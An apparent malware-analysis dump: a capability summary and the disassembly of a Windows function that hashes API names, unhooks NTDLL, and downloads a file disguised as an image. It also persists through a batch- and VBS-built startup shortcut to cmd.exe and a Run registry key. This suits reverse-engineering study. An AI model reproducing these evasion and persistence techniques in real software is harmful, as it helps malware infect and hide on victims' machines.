Function at 0x140002a85
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get startup folder
Persist via lnk shortcut
Persist via run registry key
Query environment variable
Terminate process
Write file on windows
Write file to startup folder

Disassembly:
push rbp
mov eax, 0x82930
call fcn.140005830
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x828c0], ecx
mov qword [rbp + 0x828c8], rdx
call dbg.__main
call sym.IatCamouflage__
lea rax, str.KERNEL32.DLL
mov rcx, rax
call sym.HashStringJenkinsOneAtATime32BitA_char_
mov r8d, eax
lea rax, str.KERNEL32.DLL
mov rdx, rax
lea rax, str._i__Hash_Of___s__Is_:_0x_0.8X__t_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.CreateFileMappingA
mov rcx, rax
call sym.HashStringJenkinsOneAtATime32BitA_char_
mov r8d, eax
lea rax, str.CreateFileMappingA
mov rdx, rax
lea rax, str._i__Hash_of___s__Is_:_0x_0.8x______n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.InternetOpenUrlA
mov rcx, rax
call sym.HashStringJenkinsOneAtATime32BitA_char_
mov r8d, eax
lea rax, str.InternetOpenUrlA
mov rdx, rax
lea rax, str._i__Hash_Of___s__Is_:_0x_0.8X______n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.InternetOpenA
mov rcx, rax
call sym.HashStringJenkinsOneAtATime32BitA_char_
mov r8d, eax
lea rax, str.InternetOpenA
mov rdx, rax
lea rax, str._i__Hash_of___s__Is_:_0x_0.8X______n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [0x14000d1e4]
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.___Press__Enter__To_Continue_..._n_n
mov rcx, rax
call sym.printf_char_const__::_
call sym.getchar
call sym.initi_hashing__
mov ecx, 1
call sym.sub_0x0724edif_int_
test eax, eax
setne al
test al, al
je 0x140002ba7
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, str.UtilisatNT
mov qword [rbp + 0x82898], rax
movabs rax, 0x555e54534d660059
movabs rdx, 0x5f4e49434966494d
mov qword [rbp + 0x826e0], rax
mov qword [rbp + 0x826e8], rdx
movabs rax, 0x4e54660809575f4e
movabs rdx, 0x3a56565e1456565e
mov qword [rbp + 0x826ee], rax
mov qword [rbp + 0x826f6], rdx
mov dword [rbp + 0x82894], 0x1e
mov dword [rbp + 0x82890], 0xa
mov dword [rbp + 0x8288c], 0
mov eax, dword [rbp + 0x82894]
sub eax, 1
mov eax, eax
movzx eax, byte [rbp + rax + 0x826e0]
movsx ecx, al
mov edx, dword [rbp + 0x82894]
lea rax, [rbp + 0x826e0]
mov r8d, ecx
mov rcx, rax
call sym.__0x0034fed_char__unsigned_long_long__char_
lea rax, [rbp + 0x826e0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x82880], rax
cmp qword [rbp + 0x82880], 0xffffffffffffffff
jne 0x140002c9d
mov eax, 0xffffffff
jmp 0x140003a70
mov r10, qword [0x140011508]
mov rax, qword [rbp + 0x82880]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x82878], rax
cmp qword [rbp + 0x82878], 0
jne 0x140002d01
mov rax, qword [rbp + 0x82880]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x140003a70
mov r10, qword [0x140011510]
mov rax, qword [rbp + 0x82878]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
call r10
mov qword [rbp + 0x82870], rax
cmp qword [rbp + 0x82870], 0
jne 0x140002d70
mov rax, qword [rbp + 0x82878]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x82880]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x140003a70
lea rax, section..data
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x82870]
mov rdx, rax
call sym.UnhookNtdll_HINSTANCE____void_
mov dword [rbp + 0x8288c], eax
mov rdx, qword [0x140011518]
mov rax, qword [rbp + 0x82870]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x82878]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x82880]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
call sym._is_reg_there__
mov dword [rbp + 0x8286c], eax
cmp dword [rbp + 0x8286c], 0
jne 0x140003946
mov r9d, 0x40
lea r8, str.info
lea rax, str.File_Registry_Exist
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rdx, [rbp + 0x40]
lea rax, [rbp + 0x150]
mov r8, rdx
lea rdx, str._sMicrosoft
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x150]
mov r8, rax
lea rax, [0x14000d0b2]
mov rdx, rax
lea rax, [0x1400113a0]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [0x140011040]
mov rcx, rax
call sym.is_string_empty_char_const_
test eax, eax
setne al
test al, al
je 0x140002eb4
mov rax, qword [rbp + 0x82898]
mov r8, rax
lea rax, [0x14000d685]
mov rdx, rax
lea rax, [0x140011040]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x260]
lea r9, [0x140011040]
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
mov dword [rbp + 0x828ac], 0
mov dword [rbp + 0x828a8], 0
jmp 0x140002f70
mov eax, dword [rbp + 0x828ac]
cdqe
movzx eax, byte [rbp + rax + 0x260]
cmp al, 0x20
je 0x140002f69
mov eax, dword [rbp + 0x828ac]
cdqe
movzx eax, byte [rbp + rax + 0x260]
cmp al, 9
je 0x140002f69
mov eax, dword [rbp + 0x828ac]
cdqe
movzx eax, byte [rbp + rax + 0x260]
cmp al, 0xa
je 0x140002f69
mov eax, dword [rbp + 0x828ac]
cdqe
movzx eax, byte [rbp + rax + 0x260]
cmp al, 0xd
je 0x140002f69
mov eax, dword [rbp + 0x828ac]
cdqe
movzx edx, byte [rbp + rax + 0x260]
mov eax, dword [rbp + 0x828a8]
lea ecx, [rax + 1]
mov dword [rbp + 0x828a8], ecx
cdqe
mov byte [rbp + rax + 0x260], dl
add dword [rbp + 0x828ac], 1
mov eax, dword [rbp + 0x828ac]
cdqe
movzx eax, byte [rbp + rax + 0x260]
test al, al
jne 0x140002ef1
mov eax, dword [rbp + 0x828a8]
cdqe
mov byte [rbp + rax + 0x260], 0
lea rax, [rbp + 0x260]
mov rcx, rax
call sym.config_init_char_
lea rax, [0x14000d1e4]
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x260]
mov rdx, rax
lea rax, str.__exist_:__s_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [0x14000d1e4]
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 0
call sym.time
mov qword [rbp + 0x826d8], rax
lea rax, [rbp + 0x826d8]
mov rcx, rax
call sym.localtime
mov qword [rbp + 0x82858], rax
mov rax, qword [rbp + 0x82858]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0x82854], eax
cmp dword [rbp + 0x82854], 0
je 0x140003052
cmp dword [rbp + 0x82854], 1
je 0x140003052
cmp dword [rbp + 0x82854], 6
je 0x140003052
cmp dword [rbp + 0x82854], 5
je 0x140003052
lea rax, str._t__Today_is_not_My_Mood_._Exiting..._n
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
call sym.exit
lea rax, str.___Downloading_Dll_from_Internet_..._n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.iamtest.png
mov rdx, rax
lea rax, str.https:__kayoanime.com_wp_content_uploads_2020_07_Kayoanimelogo.png
mov rcx, rax
call sym.downloadFile_char_const__char_const_
mov dword [rbp + 0x82850], eax
cmp dword [rbp + 0x82850], 1
je 0x1400030a2
lea rax, [rbp + 0x260]
mov rdx, rax
lea rax, str._t__StoreDll_into_Current_Folder_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.Sleep
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x82848], rax
mov rax, qword [rbp + 0x82848]
mov ecx, 0x4e20
call rax
mov rax, qword [rbp + 0x82898]
mov rcx, rax
call sym.__createFUDtr_char_const_
lea rax, str.SdfxiWID.dll
mov rcx, rax
call sym.MyLoadLibrary_wchar_t_const_
mov qword [rbp + 0x82840], rax
cmp qword [rbp + 0x82840], 0
je 0x140003158
mov rax, qword [rbp + 0x82840]
lea rdx, str.__intimatth
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x82838], rax
cmp qword [rbp + 0x82838], 0
je 0x140003143
mov rax, qword [rbp + 0x82838]
call rax
mov rax, qword [rbp + 0x82840]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140003167
lea rax, str.____Failed_to_load_library_:__n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x370]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 7
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
mov byte [rbp + 0x826d7], 0
lea rdx, [rbp + 0x370]
lea rax, [rbp + 0x826d7]
mov r8, rdx
lea rdx, str._siOffice.lnk
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x826d7]
mov r9d, 0x40
lea r8, str.info
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rax, [rbp + 0x826d7]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x14000320b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 2
je 0x14000320b
mov eax, 1
jmp 0x140003210
mov eax, 0
test al, al
je 0x140003243
mov r9d, 0x40
lea r8, str.info
lea rax, str.File_iOffice.lnk_Exist
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov eax, 0
jmp 0x140003a70
mov r9d, 0x40
lea r8, str.info
lea rax, str.File_iOffice.lnk_not_Exist
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x82830], rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
movabs rax, 0x7878787878746357
mov qword [rbp + 0x826c9], rax
movabs rax, 0x7461622e747878
mov qword [rbp + 0x826cf], rax
lea rax, [rbp + 0x826c9]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x8282c], eax
mov dword [rbp + 0x828a4], 0
jmp 0x140003310
mov eax, dword [rbp + 0x828a4]
cdqe
movzx eax, byte [rbp + rax + 0x826c9]
cmp al, 0x78
jne 0x140003309
mov edx, 9
mov ecx, 0
call sym.getRandomNumber_int__int_
add eax, 0x30
mov edx, eax
mov eax, dword [rbp + 0x828a4]
cdqe
mov byte [rbp + rax + 0x826c9], dl
add dword [rbp + 0x828a4], 1
mov eax, dword [rbp + 0x828a4]
cmp eax, dword [rbp + 0x8282c]
jl 0x1400032d2
lea rax, [rbp + 0x826c9]
mov r9d, 0x40
lea r8, str.Filename:
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rcx, [rbp + 0x826c9]
mov rdx, qword [rbp + 0x82830]
lea rax, [rbp + 0x480]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x480]
mov rdx, rax
lea rax, str._n_t___s_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x480]
mov rdx, rax
lea rax, [0x140011280]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x480]
lea rdx, [0x14000d822]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x82820], rax
lea rax, [rbp + 0x416a0]
lea rdx, str._echo_off_r_n
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
mov rax, qword [rbp + 0x828c8]
mov rcx, qword [rax]
lea rdx, [rbp + 0x826d7]
lea rax, [rbp + 0x6a0]
mov r9, rcx
mov r8, rdx
lea rdx, str.echo_Set_objShell__CreateObject__WS__CrI__p__T.S__h__E__L__l_____embryo.vbs_necho_Set_objShortcut__objShell.CreateShortcut___s______embryo.vbs_necho_objShortcut.WindowStyle__7____embryo.vbs_necho_objShortcut.TargetPath____windir__system32cmd.exe_____embryo.vbs_necho_objShortcut.IconLocation___C:Program_Files__x86_Windows_NTAccessoriesWordPad.exe_____embryo.vbs_necho_objShortcut.Arguments____c__s_____embryo.vbs_necho_objShortcut.Save____embryo.vbs_ncscript_embryo.vbs_ndel_embryo.vbs
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rdx, [rbp + 0x6a0]
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x416a0]
mov r9d, 0x40
lea r8, str.info
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rcx, qword [rbp + 0x82820]
lea rax, [rbp + 0x416a0]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x82820]
mov rcx, rax
call sym.fclose
lea rax, str.___Content_Wrote_to_file_successfully._n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
lea rax, [rbp + 0x826b0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xc], 0x101
mov word [rbp + 0x10], 0
lea rax, [rbp + 0x590]
lea r8, [0x140011280]
lea rdx, str.cmd__c__s
mov rcx, rax
call sym.sprintf_char__char_const__::_
mov r10, qword [0x1400115b0]
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x826b0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
call r10
mov rax, qword [rbp + 0x826b0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x826b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x826b8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [0x140011280]
mov rcx, rax
call sym.ConvertToLPCWSTR_char_const_
mov qword [rbp + 0x82818], rax
mov r10, qword [0x1400114c8]
mov rax, qword [rbp + 0x82818]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x4000000
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0xc0000000
mov rcx, rax
call r10
mov qword [rbp + 0x82810], rax
cmp qword [rbp + 0x82810], 0xffffffffffffffff
je 0x14000393c
lea rax, str.___File_Deleted_with_Content_Sucessfully_..._n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x82810]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140003a70
mov eax, 0
jmp 0x140003a70
mov r9d, 0x40
lea r8, str.info
lea rax, str.File_Registry_not_Exist
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov dword [rbp + 0x82868], 0
lea rax, [rbp + 0x416a0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0x82868], eax
cmp dword [rbp + 0x82868], 0
jne 0x1400039ac
mov eax, 0xffffffff
jmp 0x140003a70
mov rax, qword [0x140011538]
lea rdx, [rbp + 0x826a8]
mov r8, rdx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call rax
test eax, eax
setne al
test al, al
je 0x1400039e0
mov eax, 0xffffffff
jmp 0x140003a70
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
add eax, 1
mov dword [rbp + 0x82864], eax
mov r10, qword [0x140011540]
mov rax, qword [rbp + 0x826a8]
mov edx, dword [rbp + 0x82864]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x416a0]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.secroot
mov rcx, rax
call r10
test eax, eax
setne al
test al, al
je 0x140003a58
mov rdx, qword [0x140011548]
mov rax, qword [rbp + 0x826a8]
mov rcx, rax
call rdx
mov eax, 0xffffffff
jmp 0x140003a70
mov rdx, qword [0x140011548]
mov rax, qword [rbp + 0x826a8]
mov rcx, rax
call rdx
jmp 0x140002e11
add rsp, 0x82930
pop rbp
ret